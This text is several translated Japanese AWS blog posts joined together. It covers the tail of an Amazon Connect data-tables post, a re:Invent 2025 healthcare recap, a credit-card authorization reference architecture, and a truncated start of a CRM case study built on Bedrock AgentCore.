キューを削除 ルーティングプロファイルとユーザーを削除 注意 ：常に開発環境でクリーンアップ手順をテストしてください。本番環境での誤った削除を避けるために、すべての本番リソースの設定状況を記録してください。 まとめ このブログ記事では、Amazon Connect のデータテーブル機能と運用データを管理するためのノーコードインターフェースについて概説しました。コンタクトセンター管理者がこの機能を使用して日常的な更新を合理化する方法を説明し、エージェント内線ルーティング、緊急閉鎖フラグ、季節に応じたメッセージングを含む実際のユースケースを通じて実装プロセスを確認しました。 こちら をクリックして管理者ガイドからさらに詳しい情報を確認し、コンタクトセンターでデータテーブルの実装を開始しましょう。 翻訳はテクニカルアカウントマネージャーの高橋が担当しました。原文は こちら です。

このブログは、 “ AWS re:Invent 2025: A transformative moment for healthcare and life sciences ” の翻訳です。 今年で14回目を迎える AWS re:Invent には、6万人を超える経営陣、開発者、業界のリーダーがラスベガスに集結し、最先端のデータ・AI イノベーションを体験しました。数十の新サービス発表、数百のデモンストレーション、数千のセッションが開催される中、ヘルスケア・ライフサイエンス分野の企業が注目の的となりました。これらの企業は実際の活用事例を紹介し、Amazon Web Services（AWS）のソリューションを使って創薬を加速し、臨床業務を効率化し、患者体験を革新する取り組みを実演しました。 本記事では、AWS ヘルスケア・ライフサイエンスチームが厳選した注目セッション、重要な発表、顧客事例をご紹介します。 注目セッション re:Invent では、ヘルスケア・ライフサイエンス企業が数多くのセッションに登壇しました。特に印象的だったセッションをご紹介します： ライフサイエンス分野におけるリアルワールドエビデンス創出の加速化 臨床時間を取り戻す：Veradigm の AI 活用による業務変革 ノバルティスの次世代データプラットフォームがAI創薬を実現 UC San Diego Health、Amazon Connect で患者エンゲージメントを刷新 研究室から市場へ：アストラゼネカの全社的 AI 成功ストーリー ヘルスケアの変革：生成 AI が描く未来像 EHR の枠を超えて – AWS で実現する臨床・運用への最大インパクト 基調講演 Matt Garman の年次基調講演では、 Lila Sciences 、Bristol Myers Squibb、Cohere Health、Pfizerといったヘルスケア・ライフサイエンス企業が、イノベーションを牽引する業界リーダーの事例として紹介されました。開発者を「AWS の心臓部」と位置づけ、「発明の自由」を重視する Matt のメッセージは、20年間変わらない AWS の根本理念を表しています。 Swami Sivasubramanian のAI基調講演は、Allen Institute の取り組みから始まりました。同研究所が開発した、単一細胞マルチモーダル脳細胞データを解析する高度なニューラルネットワークモデルが紹介されました。Swami は講演の中で、特定の患者アウトカムを予測するモデルの学習や、分子構造とタンパク質相互作用を深く理解する AI モデルの開発など、複数のヘルスケア事例を取り上げました。 Peter DeSantis と Dave Brown は、AWS が追求し続ける6つの基本要素 – セキュリティ、可用性、パフォーマンス、弾力性、コスト効率、俊敏性 – について改めて強調しました。AI 時代においては、これらのクラウド基盤要素がこれまで以上に重要になっています。Dave Brown は、これらの要素を大規模に実現する Graviton と AWS のカスタムシリコン技術革新を紹介しました。 Werner Vogels は14年間の最後の基調講演で、「ルネサンス開発者」という概念を提唱しました。これは好奇心旺盛で、システム思考を持ち、効果的なコミュニケーション能力を備えた開発者像です。AI と開発者の進化について語った彼のメッセージは多くの共感を呼びました：「AI は私の仕事を奪うのか？そうかもしれない。AI は私を時代遅れにするのか？進化し続ける限り、決してそうはならない。」彼は開発者がオーナーシップを持つことの重要性を強調しました：「成果物はあなたのものであり、ツールのものではない。あなたが作り、あなたが責任を持つ。」 重要な発表 ヘルスケア組織のデジタル変革が進む中、今年の発表は業界が直面する根深い課題に正面から取り組むものでした：データプライバシー、臨床ワークフローの効率化、専門特化 AI 開発、セキュアなインフラ構築。 また、ライフサイエンス企業では、バリューチェーン全体で AI エージェントの活用が拡大しています。新サービスは、標的探索から個別化患者エンゲージメントまで、効率性を大幅に向上させながら市場投入までの時間短縮を実現します。 今週発表された数十の新サービス、機能、アップデートの中から、ヘルスケア・ライフサイエンス関係者が最もインパクトの大きいイノベーション領域を厳選しました。 データプライバシー・セキュリティの革新 セキュリティは最優先課題であり続けており、顧客がデータを安全に保護し、コンプライアンスを維持しながらイノベーションを推進できる複数の新サービス・アップデートを発表しました。中でも最もインパクトの大きい発表は、 AWS Clean Rooms の機能拡張で、プライバシー強化合成データセット生成が可能になりました。 この新機能により、組織とパートナー企業は共有データから回帰・分類機械学習（ML）モデル学習用のプライバシー強化合成データセットを生成できます。ヘルスケア・ライフサイエンス組織にとって、このアップデートは患者情報や機密データを公開することなく、より精密で用途に特化したモデル構築を可能にします。統計的妥当性を保ちながら設定可能なプライバシー保護を追加する合成データセット生成機能は、ヘルスケア業界最大の課題の一つ – データ活用とプライバシー要件のバランス – に直接的な解決策を提供します。例えば、研究機関は HIPAA に準拠しながら統計パターンを保持する合成データセットを生成することで、希少疾患研究での協力が可能になります。また、創薬チームは患者健康情報（PHI）を公開することなく、複数の臨床データセットでモデルを学習できます。 その他の重要な発表 ： データ主権： AWS AI Factories により、ヘルスケア・ライフサイエンス組織は業界規制・コンプライアンス要件を満たしながらAIの力を活用できます。機密患者データのローカル処理が可能になり、コンプライアンス体制が強化され、PHI 要件への準拠が実現します。例えば、ヘルスケア組織は病院内や自社のデータセンター内に AWS AI インフラを導入できるようになりました。 プロアクティブなアプリケーションセキュリティ： AWS Security Agent は、PHI を扱うヘルスケアアプリケーションに不可欠な積極的セキュリティ開発・監視を実現します。Security Agent は継続的セキュリティ評価を通じて HIPAA・GxP コンプライアンスの維持を支援し、患者・機密データに影響が及ぶ前にセキュリティ問題を特定します。 脅威検出： Amazon GuardDuty Extended Threat Detection は、ヘルスケア組織全体で統一されたセキュリティ可視性を提供します。多様なヘルスケアワークロード全体で患者データを標的とする高度な攻撃を特定できます。この新機能は複雑なヘルスケア IT 環境のセキュリティ監視を簡素化し、HIPAA 等の規制監査用包括的セキュリティレポート生成を支援します。 セキュリティハブ： AWS Security Hub は重要セキュリティ問題の優先順位付けと大規模対応を支援し、応答時間を改善します。ヘルスケア組織はほぼリアルタイム分析でダウンタイム中断を最小化し、問題優先順位付け・コンプライアンスチェックを自動化できます。 AI 技術の進歩 2025年を通じて、AWS はあらゆる組織が AI の力を活用しやすくする Amazon Bedrock AgentCore などの新サービス開発に継続投資してきました。re:Invent では、この流れが数多くの発表とともに加速しました。 特に注目すべき発表： Amazon Connect の患者エンゲージメント向け新機能 を発表。電子健康記録（EHR）との安全なリアルタイム統合により、患者・介護者のセルフサービス認証が可能になり、予約が最新かつ正確な情報でスケジュールされることを確認できます。Nova Sonic の高度音声モデルを活用した AI エージェントは、複数言語・アクセントに対応し、適切なペース・トーン・理解力で自然で人間らしい会話を実現します。 AWS は業界最高水準の価格性能で推論機能を提供する次世代汎用モデル、Amazon Nova 2 を発表しました。 Speech-to-speech： Amazon Nova 2 Sonic は音声間変換モデルで、開発者が音声アプリケーションを構築するための業界最高水準の会話品質、価格設定、音声理解機能を提供します。患者インタラクション・アクセシビリティ向上のため、Sonic はより自然な多言語会話と遠隔医療サービス・遠隔監視向けリアルタイム翻訳を実現します。ライフサイエンス分野では、研究者が音声でデータソースを調査し、仮説を立て、手動入力に代わって音声で実験作業を記録することで、時間節約と生産性向上を支援します。 マルチモーダルデータ： Amazon Nova 2 Lite (*)と Nova 2 Omni は拡張推論機能を備えた費用対効果の高い AI を提供します。強力な機能の一つがマルチモーダルデータ統合で、医用画像、テキストレポート、研究文献、患者データの統合解析を可能にします。100万トークンのコンテキストウィンドウにより、Lite は患者の全履歴を処理してより的確な推奨を提供できます。臨床試験・遠隔監視では、ウェアラブルから在宅監視機器まで複数のデータストリームを処理できます。 (* 訳者注：Nova 2 Lite は現在、日本国内に限定したクロスリージョン推論に対応しています。) 専門ドメインモデル開発： Amazon Nova Forge は専門ドメイン向けモデル開発を簡素化します。分子特性を予測する創薬アシスタント開発から、放射線学・病理学・ゲノミクス向けカスタムモデル構築でドメイン専門知識を深く組み込むヘルスシステム支援まで、ヘルスケア・ライフサイエンス業界で特に有用です。 反復作業の自動化： Amazon Nova Act は、電子カルテデータ入力、請求処理、フォローアップ調整などの反復的ワークフローの安全な自動化を実現します。 AWS EC2 Trainium3 と P6e UltraServers は、専門的ヘルスケア・ライフサイエンスモデル訓練のための価格性能向上オプションを提供します。医用画像、ゲノミクス、デジタル病理学などの複雑で大規模なデータセットでの訓練時に特に効果を発揮します。 データ管理・分析 安全でスケーラブルなデータ基盤は、AI 成功の原動力であり続けています。re:Invent で AWS は数多くのデータ管理・分析サービスを発表しました。ヘルスケア・ライフサイエンス顧客向けの注目機能は、ベクトルスケーラビリティとレプリケーションです。 Amazon S3 Vectors は、ベクトル保存・クエリのネイティブサポートを持つ初のクラウドオブジェクトストアで、Amazon S3 に保存されたコンテンツの AI エージェント、AI 推論、セマンティック検索向けに目的特化・コスト最適化されたベクトルストレージを提供します。ゲノム解析では、研究者はコストを抑えながら数十億のゲノムベクトルを効率的に保存・クエリできます。医用画像分野では、S3 Vectors は膨大な画像リポジトリ全体での高速類似性検索を可能にします。創薬では、類似分子構造の迅速特定により化合物スクリーニングを加速できます。 Amazon S3 Tables レプリケーションサポート は、データレジデンシー要件・災害復旧のコンプライアンスを簡素化します。マルチリージョンコンプライアンスでは、ヘルスケア企業が多様な規制要件を満たすためにリージョン間で患者データを簡単に同期維持できます。研究者にとっては、一貫したガバナンスを維持しながら研究拠点間でのデータ共有が簡素化されます。 戦略的提言 re:Invent での業界向け発表を踏まえ、ヘルスケア・ライフサイエンス組織のリーダーは以下の検討を開始しましょう： データ戦略の見直し： AWS Clean Rooms と S3 Vectors がプライバシーを維持しながら新たな共同研究イニシアチブをどう実現できるかを評価 AIロードマップの加速： Nova Forge と Nova 2 による専門モデルが特定の臨床・研究ドメインをどう変革できるかを検討 業務プロセス自動化の機会： Nova Act の自動化機能から恩恵を受ける大量管理プロセスを特定 インフラ計画： AWS AI Factories が、これまで AI 導入を制限していたデータ居住・推論レイテンシの懸念に対処できるかを評価 セキュリティ強化： 機密ヘルスケアアプリケーション・データ保護強化のため新しい AWS Security Agent を導入 まとめ AWS re:Invent 2025 は、ヘルスケア・ライフサイエンス組織にとって大きな転換点となりました。プライバシー保護協力、専門 AI モデル開発、ワークフロー自動化、セキュアインフラへの注力は、業界が直面する最も差し迫った課題に直接対応しています。既に AWS を活用しているヘルスケア組織には、患者ケア向上、研究加速、運用効率改善の即座の機会を提供します。クラウド導入初期段階の組織には、AWS がヘルスケア・ライフサイエンス固有のプライバシー、セキュリティ、専門ドメイン専門知識要件にどう具体的に対応しているかを説得力を持って示しました。 タグ: re:invent Stephanie Dattoli Stephanie Dattoli は、Amazon Web Services（AWS）のライフサイエンス・ゲノミクスマーケティング部門のワールドワイドヘッドです。ライフサイエンスとクラウド技術の融合領域を専門とし、過去10年間にわたって主要ライフサイエンス組織の新製品市場投入と市場拡大を支援してきました。スタンフォード大学で遺伝学の大学院修了証明書を取得し、ビジネスと戦略マーケティングの学部二重学位を保有しています。 Brian Loyal Brian Loyal は、Amazon Web Services のグローバルヘルスケア・ライフサイエンスチームでシニア AI/ML ソリューションアーキテクトを務めています。バイオテクノロジーと機械学習分野で16年以上の経験を持ち、顧客のゲノミクス・プロテオミクス課題解決支援に情熱を注いでいます。プライベートでは友人・家族との料理と食事を楽しんでいます。 Jennifer Rouse Jennifer Rouse は、AWS のヘルスケアマーケティング部門でワールドワイドヘッドを務めています。IBM、Ciscoなどの大企業や2つのクラウドベーススタートアップでリーダーシップを発揮し、直近では Forrester Research/Sirius Decisions でグローバルアナリスト兼アドバイザーを務めました。キャリアの大部分を、公共部門など従来十分なサービスを受けていない業界に変革をもたらす企業で過ごしました。公共部門での経験により、ヘルスケア、公共安全、教育、行政分野で人生を変える多くの技術プログラムに携わってきました。 Nadeem Bulsara Nadeem Bulsara は、ゲノミクス・ライフサイエンス専門の AWS プリンシパルソリューションアーキテクトです。13年以上のバイオインフォマティクス、ソフトウェアエンジニアリング、クラウド開発スキルと、研究・臨床ゲノミクス・マルチオミクス経験を活かし、世界中のヘルスケア・ライフサイエンス組織を支援しています。人々の長く健康な人生を実現するという業界使命に強く動機づけられています。 このブログは、Senior Solutions Architect の松永が翻訳しました。

この記事は、 Building a Credit Card Payment Processing Platform on AWS を翻訳したものです。 金融サービス業界（FSI）は大きな変革のただ中にあり、デジタル化が果たす重要な役割を考慮すると、電子決済はこの変革の中心的存在です。決済のキャッシュレス化が進展する中、業界がインクルージョン（包摂性）を促進する役割は重要な優先事項となっています。デジタル経済の革新と発展は、世界経済の安定した基盤として機能する決済によって支えられています。カード決済取引の裏側では多くの処理が行われており、クレジットカード処理の仕組みを明確に理解することは、企業が業務をより効果的に管理する上で役立ちます。本ブログ記事では、AWS上でクレジットカード決済処理プラットフォームを構築する方法を解説します。また、クレジットカード決済のオーソリゼーションにおけるアクワイアリング側とイシュアリング側の2つの高レベルなリファレンスアーキテクチャを紹介します。 ベネフィット 決済処理システムをクラウド上でモダナイズすることで、以下の目的が達成されます： 季節的な需要急増に対応するための迅速かつ効率的なスケーリング 高可用性を維持しつつ、年々増加するスループットをサポートし、厳格なセキュリティ要件に対応 データ居住要件や規制要件を遵守しながら市場へ展開し、グローバルビジネスを支援 新製品開発のための迅速なプロトタイピングを実現 クレジットカード決済処理では、金融機関が高可用性とスループットのSLAを満たすと同時に低遅延を実現する必要があります。 AWSは、 Amazon API Gateway 、 Amazon Managed Streaming for Apache Kafka (MSK) 、 Amazon DynamoDB などのツールとサービスを提供し、クラウド上で最新の分散型決済処理プラットフォームを構築し、毎秒数千件のトランザクションにスケールアップしたいお客様を支援します。AWSのお客様は、コンテナ化を強力な技術として活用し、アプリケーションの依存関係を持ち運び可能な方法で分離・管理することで、決済処理システムの可用性を大幅に向上させています。 組織が Amazon Elastic Kubernetes Service（EKS） を活用すると、需要やリソース可用性に応じてコンテナ化ワークロードのスケーリングと管理を自動化できます。また、AWSのネットワークセキュリティサービスと統合することで、さらに高い可用性と回復力を実現できます。さらに、自動化された監視・アラートツールをコンテナオーケストレーションプラットフォームと統合することで、決済処理システムの健全性とパフォーマンスをリアルタイムに可視化し、ユーザーに影響が出る前に先制的に問題へ対応することが可能になります。 AWSクラウドは、厳格なセキュリティ要件を満たすID管理を備えた、多層的なセキュリティを提供します。また、潜在的なセキュリティ設定ミス、脅威、または予期せぬ動作を特定するための脅威検知および対応サービスが利用可能です。AWSは、 Amazon Virtual Private Cloud（VPC） や AWS PrivateLink などの最新のネットワーク機能を提供し、メッセージがパブリックインターネットを経由せずに決済事業者間で通信することを可能にします。グローバルな顧客は、複数のAWSアベイラビリティゾーンおよびリージョンを使用して新規市場に拡大することができます。さらに、顧客は AWS Artifact のコンプライアンスレポートや認証、ベンダーデューデリジェンスメカニズムを活用し、AWSが責任を負う統制を理解・立証できます。また、AWSのサービスやリソースを活用して堅牢な統制環境を構築することで、現地市場におけるコンプライアンス要件への準拠を実証することが可能です。 開発者は、AWSのツールやサービスを活用することで、コンプライアンス、セキュリティ、インフラストラクチャ・アズ・コードの標準化と自動化を実現できます。また、技術プロダクトマネージャーは開発チームと連携して顧客と迅速にプロトタイプを作成し、新たなユースケースの解決に役立てます。AWS DevOpsは開発者が新機能を迅速にリリースできるようにし、運用チームがアプリケーションを本番環境に投入するまでの時間を短縮します。 AWS Config Rules 、 Service Catalog （ガバナンス・アズ・コード、セキュリティおよびIAMポリシー、バックアップ保持ポリシー、ロギング・モニタリングポリシー）、 CloudFormation Guard などのツールにより、中央管理チームは分散開発チームを容易に統制でき、コンプライアンスとクラウドのベストプラクティスを維持しながら迅速な開発を実現します。 クレジットカード決済処理の構成要素 クレジットカード決済は通常、3つの主要なステップで構成されるメッセージ取引として処理されます。最初のステップは取引の「オーソリゼーション（信用照会）」です。オーソリゼーションはリアルタイムで行われ、発行銀行に照会してカード所有者の口座に資金が存在することを確認します。また、発行銀行は取引を承認するか拒否するかの判断も提供します。第2のステップは取引の「決済」です。決済では、オーソリゼーション済み取引をまとめて発行銀行に送付し、照合が行われます。第3段階である「清算」では、資金を加盟店の銀行口座へ移動します。 次に、クレジットカード決済における主要なプレイヤーの概要を見ていきましょう。これにより、クレジットカード決済のバリューチェーンの一部を説明し、アクワイアラー処理と発行者処理のリファレンスアーキテクチャを提示します。 加盟店には、企業、起業家、個人事業主およびその間のあらゆるタイプの事業者が含まれます。加盟店が決済取引プロセスにおいて基盤的な役割を果たすのはカード決済受入ツールを活用するためです。具体的には、カード取引用のクレジットカード端末またはPOSシステム、決済ゲートウェイを備えた安全なe コマースウェブサイト、あるいは拡大を続けるアプリケーション群に統合された決済手段などがあります。 決済ゲートウェイは、決済ポータル（ウェブサイト、携帯電話、音声応答サービスなど）と決済処理業者（アクワイアラー）間の情報転送を通じて、決済取引を仲介します。 決済処理業者は、加盟店およびその取引銀行に代わってクレジットカード・デビットカード取引を処理する企業です。クレジットカードライフサイクルに関わるすべての関係者を結びつける決済処理業者は、単なる処理機能を超え、事業成長を支援する包括的な決済関連サービスを提供するように進化しています。 アクワイアラー（加盟店契約会社または加盟店管理会社）は、加盟店口座を開設・管理する機関です。加盟店口座とは、企業が電子決済カード取引を受け付け処理できるビジネス口座の一種です。クレジットカードやデビットカード決済を受け付けるすべての企業は、アクワイアラー銀行や独立系販売組織（ISO）などの機関を通じて加盟店口座を開設できます。また、決済代行業者などを通じて、サブ加盟店口座（別の企業が代わりに加盟店口座を提供する形態）を開設することも可能です。カード決済取引中、アクワイアラーまたはその処理業者は、加盟店とカードネットワーク間で取引リクエストと認証データをやり取りします。 カードネットワーク（ブランドネットワーク）は、顧客、加盟店、発行銀行、アクワイアラーを結びつけます。カードネットワークは、決済処理の統括機関として機能し、主要なカードネットワークには、アメリカン・エキスプレス、ディスカバー、マスターカード、銀聯（ユニオンペイ）、VISAなどがあります。カードネットワークはインターチェンジ料率を設定し、イシュアーとアクワイアラー間を仲介し、安全で迅速かつ効率的な決済を促進することに努めています。 イシュアー（カード発行銀行またはカード発行会社）は、クレジットカードを発行する機関であり、消費者を金融システムに接続して事業者への取引資金調達を促進するという、重要なサービスを提供しています。この資金調達プロセスは、事業者が存続し繁栄するための財務的な原動力となっています。 消費者（カード保有者）は、対面（カード提示）または非対面（カード非提示）の方法で支払い認証情報を提供し、カード取引を開始します。取引金額は金融機関に記録され、口座の種類に応じて貸方または借方として処理されます。カード決済取引のライフサイクルはさまざまな要因で変動しますが、オーソリゼーション・決済・清算という基本プロセスは固定されています。本稿ではカード取引ライフサイクルの第1段階である「オーソリゼーション」について、イシュアーとアクワイアラー双方のリファレンスアーキテクチャを用いて解説します。 オーソリゼーション クレジットカードライフサイクルの最初のステップはオーソリゼーションです。顧客は、対面または安全な通信を通じて加盟店に支払いカードの認証情報を提示します。カード提示取引の場合、カードの詳細情報は、カードチップの挿入、タッチ決済、カードのスワイプ、または手動でのカード入力などの方法を通じてPOS端末に伝達されます。物理的なPOS取引では、EMVカードまたはデジタルウォレットと端末間で通信する際に、アプリケーション識別子（AID）とカード所有者認証方法（CVM）が決定されます。カード非提示取引では、カード情報が加盟店プラグインや利用可能な決済ウォレットなどの複数のオプションを通じて提供されます。決済サービスプロバイダー（PSP）は、チェックアウト時にカード情報をトークン化する機能を提供し、加盟店によるカード認証情報の保存を防止します。カード情報は、適切な決済処理業者へルーティングするために、暗号化されて決済ゲートウェイに送信されます。決済処理業者はカードBIN（カード番号の最初の6 桁または8 桁）または口座情報を確認して、取引に適用すべきサービス（不正スコアリングやアカウント更新サービスなど）を決定します。アカウント更新サービスは、カード紛失・盗難時にカードライフサイクルにおける最新カード番号を非対面取引向けに提供するために利用されます。プロセッサーは決済スイッチと連携して取引をルーティングすべきカードネットワークを決定します。また、ネットワーク送信前に適切なメッセージ形式（ISO 8583、ISO 20022など）とレイアウトに変換する責任を負います。 Acquiring Processor Authorization Flow カードネットワークがネットワークメッセージを受信すると、必要に応じて支払い情報をデトークン化し、カードの種類・取引タイプ・支払いチャネルに応じて、不正利用のスコアリングや支出管理、データ変換、デジタル認証、その他の検証サービスといった関連する代行サービスを実行します。 Issuer Processor Authorization Flow カードネットワークは、発行銀行またはプロセッサーにメッセージを送信し、承認または拒否の応答を返す前に、リスク管理・カード制御・残高・チップ・住所・利用頻度・ポリシー・その他の必要なチェックを実行します。応答メッセージには承認の場合は「0-承認」などの理由コード、拒否の場合は「05-承認不可」または「62-制限付きカード」などの理由コードが提供されます。カードまたはトークンの種類および各取引のチャネルに応じて、カードネットワークまたは発行者はカード取引用に一意に生成される動的情報を検証します。 AWS におけるオーソリゼーションのためのリファレンスアーキテクチャ 以下のアーキテクチャ概要図は、AWS 上に構築されたオーソリゼーションシステムの主要コンポーネントと、異なるチャネルおよび各種スキーム間の通信モデルを示しています。 フローは、さまざまなチャネルが暗号化されたカード情報を、セキュアな通信回線を通じて Amazon API Gateway に送信するところから始まります。 AWS WAF を有効化することで、SQLインジェクションやクロスサイトスクリプティング（XSS）攻撃といった一般的なWeb攻撃からAPI Gateway APIを保護できます。API Gatewayは Amazon Cognito と統合されているため、許可されたユーザーのみがAPIにアクセスでき、リソースを不正アクセスから保護できます。 承認済み決済トランザクションは、ネットワークロードバランサー経由で Amazon Managed Streaming for Apache Kafka（MSK） に送信されます。PCIではカード所有者データの転送中と保存時における暗号化が義務付けられています。Amazon MSKはデフォルトでTLS 1.2を使用し、MSKクラスターのブローカー間で転送されるデータを暗号化するために、TLS 1.3の使用を推奨しています。 転送中のTLS暗号化（クライアント-ブローカー間、ブローカー間）、 TLSベースの証明書認証 、 SASL/SCRAM認証 は、 AWS Secrets Manager の支援によって実現できます。Kafkaトピック内のトランザクションは、AWS Fargateコンテナによってリアルタイムで消費されます。 AWS Fargate は Amazon ECS と組み合わせて使用できます。これにより、Amazon EC2インスタンスのサーバーやクラスターを管理せずにコンテナを実行できます。 Amazon ECR プライベートリポジトリを使用すれば、Amazon ECSタスクがプルするコンテナイメージやアーティファクトをホストできます。 コンテナはデータを決済用HSM（ハードウェア・セキュリティ・モジュール）に渡し、復号化されたデータを受け取ります。決済用HSMは、新たに提供が開始されたAWSのフルマネージド型決済HSMサービスである「 AWS Payment Cryptography 」を通じてプロビジョニングできます。また、 DynamoDBクライアントサイド暗号化ライブラリ を使用すれば、原文を暗号化して、その暗号テキストを暗号されているデータベースに保存できます。トークン応答は、内部アプリケーション操作のためにアプリケーションデータベースに保存されます。 Amazon ElastiCache for Redis 上のサブミリ秒レイテンシのインメモリデータキャッシュを使用することで、カードネットワークからのカード利用可能リクエストに即座に対応できます。トークン化された情報を、 AWS Step Functions を使用して様々なビジネスフローに適用すると、カードと取引タイプに基づくBINチェック、リスクチェック、アカウントチェック、不正検知チェック、その他の付加価値サービスを検証できます。検証後、応答はISO形式にフォーマットされ、消費のためにイグレスAmazon MSKに送信されます。複数のKafkaリスナーがカードネットワークに接続できます。 AWSにおけるイシュアーオーソリゼーションのリファレンスアーキテクチャー イシュアー処理フローにおいて、カードネットワークはソケット接続を介してペイロードを送信し、発行銀行またはプロセッサー（IBP）へオーソリゼーションリクエストを中継します。オンプレミスまたはコロケーション施設に設置された決済ネットワークインターフェースプロセッサー（PNIP）は、カードネットワークからのTCP/IPトラフィックを受信します。IBPは AWS Direct Connect を利用して内部ネットワークから標準イーサネット光ファイバーケーブル経由で、AWS Direct Connectロケーションに接続できます。AWS Direct Connectと AWS Transit Gateway の組み合わせは、複数のVPCとオンプレミスネットワークを接続するネットワークトランジットハブを構築するのを支援します。 オーソリゼーションリクエストのトラフィックは、AWS Transit Gateway経由でNetwork Load Balancerを介してトークナイゼーションVPCにルーティングされます。Network Load Balancerは接続レベル（レイヤー4）で動作し、IPプロトコルデータに基づいて顧客VPC内のターゲットコンテナへ接続をルーティングします。トークナイゼーションVPCは機密カード情報をトークン化します。カードデータに対する検証や確認といった暗号処理は、AWS Payment Cryptographyのようなスケーラブルで耐障害性の高いサービス上で実行する必要があります。情報は暗号化されたデータベースに保存されますが、データベースに依存せずAmazon ElastiCacheから取得することができます。 リクエストはオーソリゼーション決済処理VPCに転送され、さらに処理されます。オーソリゼーションコンテナは Amazon Elastic Kubernetes Service（EKS） と統合でき、アプリケーションをデプロイすることができます。 オーソリゼーションコンテナは、カード種別に基づくビジネス検証チェックのため、承認リクエストに追加情報を付加します。ビジネスプロセスワークフローエンジンは、カード種別に応じた不正検知・リスク・取引頻度・口座情報およびチップ・PIN・トークン・限度額・現金取引などのさまざまなポリシーに基づく複数のチェックを実行します。ビジネス検証応答は Amazon Managed Streaming for Apache Kafka (MSK) のトピックにストリーミングされます。オーソリゼーションコンテナが応答を処理して、 Amazon DynamoDB に情報を保存します。その後、IBPはオーソリゼーション応答（承認または拒否応答など）をカードネットワークに送信します。この応答は、アクワイアリングプロセッサーを経由して最終的に加盟店端末に戻ります。 決済事業者は、貴重な顧客データを保有しています。このデータは、 Amazon Comprehend を使用して、感情分析や商品レビュー分析といった顧客インサイト導出に活用できます。また、 Amazon Personalize を活用すれば、商品ランキングや特定商品の推奨、カスタマイズされたダイレクトマーケティングといった、リアルタイムなパーソナライズドレコメンデーションを実現できます。 まとめ クレジットカードは、店頭決済と非対面決済の両方において重要な決済手段であり続けています。キャッシュバックやカード特典、航空会社のポイントなどは、顧客がクレジットカードで支払う理由の一部でしかありません。2022年、米国の大手クレジットカード発行会社では、旅行・娯楽支出の増加に伴い、クレジットカードの利用が大幅に増加しました。また、クレジットカード分野では、デジタルファーストのクレジットソリューションによる革新も進んでいます。この革新により、顧客の申し込みが承認されるとすぐに仮想カードやトークンが利用可能になり、カード情報をデジタルウォレットに即座に追加できるようになります。 顧客はクレジットカード決済が数秒で処理されることを期待しています。本稿では、AWSのサービスを活用し、安全かつリアルタイムに処理でき、高い耐障害性を備え、ピーク時の決済量急増にも対応可能なクラウド決済処理ソリューションの構築方法について説明しました。また、クラウドベースの決済システムでは、AWSのツールとサービスを用いて PCI DSS に準拠した堅牢なセキュリティ対策を実現できます。フィンテック企業により、加盟店が自社ブランド（別名プライベートラベル）クレジットカードを容易に発行し、顧客セグメントの独自のニーズやライフスタイルに基づいた報酬をカスタマイズできるようになったことで、イノベーションはクレジットカード市場を活性化し続けています。 AWSとの連携方法や、世界中の決済顧客が決済処理を実行するのを当社がどのように支援しているかについての詳細は、AWSアカウントマネージャーにお問い合わせいただくか、 AWS Financial Services – Payments をご覧ください。 免責事項： 本投稿におけるリファレンスアーキテクチャに関する記述は、説明を目的とした参考情報であり、公開時点での情報に基づいています。記載の手順や推奨事項は教育目的および初期概念実証を意図したものであり、企業全体向けの完全なソリューションではありません。組織に適したアーキテクチャ設計についてはお問い合わせください。 本稿はソリューションアーキテクト畑が翻訳を担当しました。

 株式会社ダイレクトマーケティングエージェンシー （以下、DMA）は、2006年の創業以来、ECビジネス支援エージェンシーとして自社開発にこだわり、ITとBPOソリューションを提供してきました。近年のEC市場では、顧客行動の多様化やチャネルの増加により、データ活用の重要性が一層高まっています。DMAはこうした背景を受け、データレイクおよびAI機能を実装したEC基盤「D-Sales ECクラウド」を開発・提供してきました。 本ブログでは、DMAがAmazon Bedrock AgentCoreを中核に据えて開発した、 AIオートパイロット型CRMプラットフォーム「リピートMAX」 の開発事例をご紹介します。 背景と課題 多くのEC事業者は、CRM運用において以下のような構造的な課題を抱えています。 1. CRM運用の属人化問題 従来のCRM運用では、施策の立案から実行まで、担当者の経験とスキルに大きく依存していました。優秀な担当者の異動や退職により、それまで築き上げてきたノウハウが失われてしまうリスクが常にありました。また、担当者によって施策の質にばらつきが出てしまうことも大きな課題でした。 2. 短期的施策への偏重 四半期ごとの売上目標達成を優先するあまり、タイムセールや一時的な割引施策に依存し、顧客の購買サイクルや中長期的な関係構築を考慮したCRM設計が十分に行われていないケースも少なくありませんでした。特に、初回購入から2回目・3回目の購入につながらないことが、LTV最大化の大きな障壁となっていました。 3. データ統合・活用の複雑さ EC運営の現場では、複数のマーケティングツールが併用され、データが分散していることが一般的です。その結果、顧客行動の全体像を把握することが難しく、ツール間連携やデータ統合に大きな運用負荷がかかっていました。 ソリューションの概要 DMAは、単なるツール統合やルールベースの自動化では上述の課題解決が難しく、課題を根本から解決するために顧客行動を文脈として理解し、状況に応じて判断を変えるAIの活用が不可欠と考えました。そこで、Amazon Bedrock AgentCoreを中核とした次世代CRMプラットフォーム「リピートMAX」の開発に着手しました。「リピートMAX」に搭載されているAIオートパイロットが売上予測に基づいた最適なCRM施策を提案します。「ターゲティングからクリエイティブ/売上予測/事後検証」まで全てのCRMプロセスを対話形式で選択していきます。目的に応じた提案施策を選択するだけで最適CRM施策によるLife Time Valueの最大化を実現します。 図 1: リピートMAXについて 以下が「リピートMAX」のシステム概要になります。 図2:リピートMAXのシステム概要図 「リピートMAX」の処理の流れは以下です。 ECサイト運営者はWebブラウザ上のWidgetを通じて、 売上予測、クリエイティブ生成、AIチャットなどの機能を選択し、必要な情報を入力する フロントエンドが入力された内容をAPI Layerに送信する API Layer は入力内容に応じて、対象者抽出、売上予測、クリエイティブ、AIチャットを行う 3 の処理を行う際、必要に応じて Amazon Bedrock AgentCore を利用したり、Amazon Redshift Serverless、Amazon Aurora 、Amazon S3から顧客データや過去の購買履歴を取得する ユーザーの操作ログ等の分析のため、外部連携も行う システムはユーザーの入力に応じて以下のアウトプットを生成・提供する ・対象顧客セグメントの抽出結果 ・売上予測データとレポート ・マーケティング用のクリエイティブ素材 ・AIチャットによる質問への回答 Amazon S3およびAmazon Redshift Serverlessに蓄積された顧客行動データを基に、AgentCore上のAIエージェントが推論を行い、その結果を再びデータレイクへフィードバックする循環型アーキテクチャを構築しています。また、「リピートMAX」は、以下の観点でAWSサービスを選定しています。 日本国内リージョンでの運用による セキュリティ確保 豊富なAIサービスによる 開発効率の向上 Amazon Bedrock AgentCore、Amazon S3、Amazon Redshift Serverless、AWS Lambda といったサーバーレスなサービスの採用による 初期投資の最小化 代表取締役の芦塚氏は、AWS のサービス選定理由をこう話します。 ” 